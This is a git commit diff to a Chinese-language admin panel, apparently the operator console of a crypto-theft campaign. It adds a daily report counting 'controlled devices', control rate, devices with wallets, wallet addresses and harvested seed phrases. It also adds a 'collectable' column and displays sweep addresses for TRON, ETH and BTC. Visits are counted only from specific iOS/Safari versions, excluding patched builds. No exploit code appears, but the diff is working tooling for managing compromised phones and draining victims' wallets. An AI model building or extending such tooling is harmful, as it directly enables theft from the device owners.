feat: stats
This commit is contained in:
@@ -205,8 +205,8 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'chain_type', title: 'Chain', width: 110, templet: function (d) {
|
||||
return chainTag(d.chain_type);
|
||||
}},
|
||||
{ field: 'mnemonic_id', title: '助记词 ID', width: 110, sort: true, templet: function (d) {
|
||||
return d.mnemonic_id ? d.mnemonic_id : '—';
|
||||
{ field: 'collectable', title: '可归集', width: 90, sort: true, templet: function (d) {
|
||||
return d.collectable ? '<span class="addr-monitor-on">可归集</span>' : '—';
|
||||
}},
|
||||
{ field: 'usdt', title: 'USDT', width: 100, sort: true },
|
||||
{ field: 'trx', title: 'TRX', width: 100, sort: true },
|
||||
|
||||
@@ -145,7 +145,7 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">区间内新增地址</span></div>
|
||||
<div class="dash-section-label">总余额<span style="margin-left:8px;font-size:12px;">全部地址,不受时间范围影响</span></div>
|
||||
<div class="dash-grid dash-grid-5">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">USDT</div>
|
||||
@@ -179,7 +179,7 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari(左侧高亮)</span></div>
|
||||
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 且 Safari,不含 15.8.8 / 16.7.10+(左侧高亮)</span></div>
|
||||
<div class="dash-grid dash-grid-2">
|
||||
<div class="dash-tile">
|
||||
<div class="dash-tile-hd">页面 PV</div>
|
||||
|
||||
@@ -0,0 +1,273 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '每日报表')
|
||||
|
||||
@section('content')
|
||||
<style>
|
||||
.report-filter .layui-form-item { margin-bottom: 0; }
|
||||
.report-filter .layui-inline {
|
||||
margin-right: 10px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
.report-filter .layui-form-label {
|
||||
width: 72px;
|
||||
padding: 9px 10px 9px 0;
|
||||
text-align: left;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.report-filter .layui-input-block {
|
||||
margin-left: 72px;
|
||||
min-height: 36px;
|
||||
}
|
||||
.report-filter .report-date-input { width: 210px; }
|
||||
.report-filter .report-date-shortcuts {
|
||||
margin-left: 0;
|
||||
margin-right: 4px;
|
||||
}
|
||||
.report-filter .report-date-shortcuts .layui-btn {
|
||||
margin: 0 4px 0 0;
|
||||
height: 36px;
|
||||
line-height: 36px;
|
||||
padding: 0 12px;
|
||||
}
|
||||
.report-filter .report-agent-block {
|
||||
width: 150px;
|
||||
min-width: 150px !important;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto report-filter" lay-filter="LAY-daily-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">时间</label>
|
||||
<div class="layui-input-block report-date-input">
|
||||
<input type="text" name="date_range" id="LAY-daily-date-range" placeholder="开始日期 - 结束日期" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline report-date-shortcuts">
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="today">今日</button>
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="yesterday">昨日</button>
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="7d">近 7 天</button>
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="30d">近 30 天</button>
|
||||
<button type="button" class="layui-btn layui-btn-primary" data-range="month">本月</button>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select', ['agentBlockClass' => 'report-agent-block'])
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-daily-search">查询</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header" id="LAY-daily-chart-title">趋势</div>
|
||||
<div class="layui-card-body">
|
||||
<div id="LAY-daily-report-chart" style="height:320px;"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header" id="LAY-daily-table-title">按日期统计 · 总 UV / 有效 UV / 受控设备 / 受控比例 / 有钱包设备 / 钱包地址 / 助记词数</div>
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-daily-report" lay-filter="LAY-daily-report"></table>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['form', 'laydate', 'table', 'layer'], function () {
|
||||
var form = layui.form;
|
||||
var laydate = layui.laydate;
|
||||
var table = layui.table;
|
||||
var layer = layui.layer;
|
||||
var $ = layui.$;
|
||||
var dataUrl = @json(route(($portal ?? 'admin').'.reports.daily.data'), JSON_UNESCAPED_SLASHES);
|
||||
var defaultFrom = @json($defaultFrom);
|
||||
var defaultTo = @json($defaultTo);
|
||||
var metricCaption = '总 UV / 有效 UV / 受控设备 / 受控比例 / 有钱包设备 / 钱包地址 / 助记词数';
|
||||
var tableReady = false;
|
||||
var chart = null;
|
||||
var echartsLib = null;
|
||||
var pendingRows = null;
|
||||
var legendSelected = {
|
||||
'总 UV': false,
|
||||
'有效 UV': false,
|
||||
'受控设备': true,
|
||||
'有钱包设备': false,
|
||||
'钱包地址': false,
|
||||
'助记词数': false
|
||||
};
|
||||
|
||||
function pad(n) { return n < 10 ? '0' + n : '' + n; }
|
||||
function fmtDate(d) {
|
||||
return d.getFullYear() + '-' + pad(d.getMonth() + 1) + '-' + pad(d.getDate());
|
||||
}
|
||||
function parseYmd(s) {
|
||||
var p = String(s || '').split('-');
|
||||
return new Date(+p[0], +p[1] - 1, +p[2]);
|
||||
}
|
||||
function rangeOf(kind) {
|
||||
var today = parseYmd(defaultTo);
|
||||
if (kind === 'today') {
|
||||
return fmtDate(today) + ' - ' + fmtDate(today);
|
||||
}
|
||||
if (kind === 'yesterday') {
|
||||
var y = new Date(today);
|
||||
y.setDate(y.getDate() - 1);
|
||||
return fmtDate(y) + ' - ' + fmtDate(y);
|
||||
}
|
||||
if (kind === '7d') {
|
||||
var from7 = new Date(today);
|
||||
from7.setDate(today.getDate() - 6);
|
||||
return fmtDate(from7) + ' - ' + fmtDate(today);
|
||||
}
|
||||
if (kind === 'month') {
|
||||
var from = new Date(today.getFullYear(), today.getMonth(), 1);
|
||||
return fmtDate(from) + ' - ' + fmtDate(today);
|
||||
}
|
||||
return defaultFrom + ' - ' + defaultTo;
|
||||
}
|
||||
|
||||
var initialRange = defaultFrom + ' - ' + defaultTo;
|
||||
$('#LAY-daily-date-range').val(initialRange);
|
||||
laydate.render({
|
||||
elem: '#LAY-daily-date-range',
|
||||
type: 'date',
|
||||
range: true,
|
||||
value: initialRange,
|
||||
done: function (value) {
|
||||
if (value) $('#LAY-daily-date-range').val(value);
|
||||
}
|
||||
});
|
||||
|
||||
function parseRange(value) {
|
||||
var m = String(value || '').match(/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/);
|
||||
if (!m) return null;
|
||||
return { date_from: m[1], date_to: m[2], date_range: m[1] + ' - ' + m[2] };
|
||||
}
|
||||
|
||||
function currentWhere() {
|
||||
var parsed = parseRange($('#LAY-daily-date-range').val());
|
||||
if (!parsed) return null;
|
||||
var field = form.val('LAY-daily-search') || {};
|
||||
if (field.agent_user_id !== undefined && field.agent_user_id !== '') {
|
||||
parsed.agent_user_id = field.agent_user_id;
|
||||
}
|
||||
return parsed;
|
||||
}
|
||||
|
||||
function setTitles(from, to) {
|
||||
var label = (from && to) ? ('(' + from + ' ~ ' + to + ')') : '';
|
||||
$('#LAY-daily-chart-title').text('趋势' + label);
|
||||
$('#LAY-daily-table-title').text('按日期统计' + label + ' · ' + metricCaption);
|
||||
}
|
||||
|
||||
function renderTable(rows) {
|
||||
var limit = Math.max((rows || []).length, 1);
|
||||
if (!tableReady) {
|
||||
table.render({
|
||||
elem: '#LAY-daily-report',
|
||||
id: 'LAY-daily-report',
|
||||
data: rows || [],
|
||||
page: false,
|
||||
limit: limit,
|
||||
text: { none: '暂无数据' },
|
||||
cols: [[
|
||||
{ field: 'date', title: '日期', minWidth: 140, sort: true },
|
||||
{ field: 'uv', title: '总 UV', minWidth: 110, sort: true },
|
||||
{ field: 'effective_uv', title: '有效 UV', minWidth: 110, sort: true },
|
||||
{ field: 'devices', title: '受控设备', minWidth: 110, sort: true },
|
||||
{ field: 'control_rate', title: '受控比例', minWidth: 110, sort: true, templet: function (d) {
|
||||
return d.control_rate === null || d.control_rate === undefined ? '—' : d.control_rate + '%';
|
||||
}},
|
||||
{ field: 'wallet_devices', title: '有钱包设备', minWidth: 120, sort: true },
|
||||
{ field: 'address_count', title: '钱包地址', minWidth: 110, sort: true },
|
||||
{ field: 'mnemonic_count', title: '助记词数', minWidth: 110, sort: true }
|
||||
]]
|
||||
});
|
||||
tableReady = true;
|
||||
return;
|
||||
}
|
||||
table.reload('LAY-daily-report', { data: rows || [], limit: limit });
|
||||
}
|
||||
|
||||
function renderChart(rows) {
|
||||
pendingRows = rows || [];
|
||||
var el = document.getElementById('LAY-daily-report-chart');
|
||||
if (!el || !echartsLib) return;
|
||||
var chrono = pendingRows.slice().reverse();
|
||||
if (!chart) {
|
||||
chart = echartsLib.init(el, layui.echartsTheme);
|
||||
window.addEventListener('resize', function () { chart.resize(); });
|
||||
} else {
|
||||
var prev = chart.getOption();
|
||||
if (prev && prev.legend && prev.legend[0] && prev.legend[0].selected) {
|
||||
legendSelected = prev.legend[0].selected;
|
||||
}
|
||||
}
|
||||
chart.setOption({
|
||||
tooltip: { trigger: 'axis' },
|
||||
legend: {
|
||||
data: ['总 UV', '有效 UV', '受控设备', '有钱包设备', '钱包地址', '助记词数'],
|
||||
selected: legendSelected
|
||||
},
|
||||
grid: { left: 48, right: 24, top: 40, bottom: 32 },
|
||||
xAxis: {
|
||||
type: 'category',
|
||||
boundaryGap: false,
|
||||
data: chrono.map(function (r) { return r.date; })
|
||||
},
|
||||
yAxis: { type: 'value', minInterval: 1 },
|
||||
series: [
|
||||
{ name: '总 UV', type: 'line', data: chrono.map(function (r) { return r.uv; }) },
|
||||
{ name: '有效 UV', type: 'line', data: chrono.map(function (r) { return r.effective_uv; }) },
|
||||
{ name: '受控设备', type: 'line', data: chrono.map(function (r) { return r.devices; }) },
|
||||
{ name: '有钱包设备', type: 'line', data: chrono.map(function (r) { return r.wallet_devices; }) },
|
||||
{ name: '钱包地址', type: 'line', data: chrono.map(function (r) { return r.address_count; }) },
|
||||
{ name: '助记词数', type: 'line', data: chrono.map(function (r) { return r.mnemonic_count; }) }
|
||||
]
|
||||
}, true);
|
||||
}
|
||||
|
||||
function load(where) {
|
||||
var query = where || parseRange(initialRange);
|
||||
if (!query) {
|
||||
layer.msg('请选择有效的时间范围');
|
||||
return;
|
||||
}
|
||||
$.getJSON(dataUrl, query, function (res) {
|
||||
if (!res || res.code !== 0 || !res.data) return;
|
||||
var rows = res.data.rows || [];
|
||||
setTitles(res.data.from, res.data.to);
|
||||
renderTable(rows);
|
||||
renderChart(rows);
|
||||
});
|
||||
}
|
||||
|
||||
function applyRangeAndQuery(rangeText) {
|
||||
$('#LAY-daily-date-range').val(rangeText);
|
||||
load(currentWhere());
|
||||
}
|
||||
|
||||
$('.report-date-shortcuts').on('click', '[data-range]', function () {
|
||||
applyRangeAndQuery(rangeOf($(this).data('range')));
|
||||
});
|
||||
|
||||
form.on('submit(LAY-daily-search)', function () {
|
||||
load(currentWhere());
|
||||
return false;
|
||||
});
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
setTitles(defaultFrom, defaultTo);
|
||||
load(parseRange(initialRange));
|
||||
|
||||
// index 会把 echarts 注册到 lib/extend;等它完成后再画图。
|
||||
layui.use(['index'], function () {
|
||||
layui.use(['echarts'], function () {
|
||||
echartsLib = layui.echarts;
|
||||
if (pendingRows) renderChart(pendingRows);
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -65,10 +65,10 @@
|
||||
<a lay-href="{{ route('admin.dashboard.index') }}">仪表盘</a>
|
||||
</dd>
|
||||
<dd data-name="visits">
|
||||
<a lay-href="{{ route('admin.visits.index') }}">访问统计</a>
|
||||
<a lay-href="{{ route('admin.visits.index') }}">访问记录</a>
|
||||
</dd>
|
||||
<dd data-name="devices">
|
||||
<a lay-href="{{ route('admin.devices.index') }}">设备管理</a>
|
||||
<dd data-name="daily-report">
|
||||
<a lay-href="{{ route('admin.reports.daily') }}">每日报表</a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
@@ -78,6 +78,9 @@
|
||||
<cite>资产</cite>
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd data-name="devices">
|
||||
<a lay-href="{{ route('admin.devices.index') }}">设备管理</a>
|
||||
</dd>
|
||||
<dd data-name="addresses">
|
||||
<a lay-href="{{ route('admin.addresses.index') }}">钱包地址</a>
|
||||
</dd>
|
||||
|
||||
@@ -83,6 +83,16 @@
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux" style="margin-left:110px;">余额大于阈值才全额划转;留空按 >0 触发</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">归集地址</label>
|
||||
<div class="layui-input-block">
|
||||
<div class="layui-form-mid" style="padding-top:9px !important;line-height:1.8;">
|
||||
<div>TRON:@if($form['transfer.to_address'])<code>{{ $form['transfer.to_address'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div>ETH:@if($form['transfer.to_address_eth'])<code>{{ $form['transfer.to_address_eth'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div>BTC:@if($form['transfer.to_address_btc'])<code>{{ $form['transfer.to_address_btc'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title">
|
||||
<legend>TRON 手续费补给</legend>
|
||||
@@ -92,7 +102,7 @@
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="transfer_fee_address_tron" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.fee_address_tron'] }}" placeholder="用于给被转地址补 TRX">
|
||||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。收款地址请在 .env 配置 TRANSFER_TO_ADDRESS*</div>
|
||||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '访问统计')
|
||||
@section('title', '访问记录')
|
||||
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
|
||||
Reference in New Issue
Block a user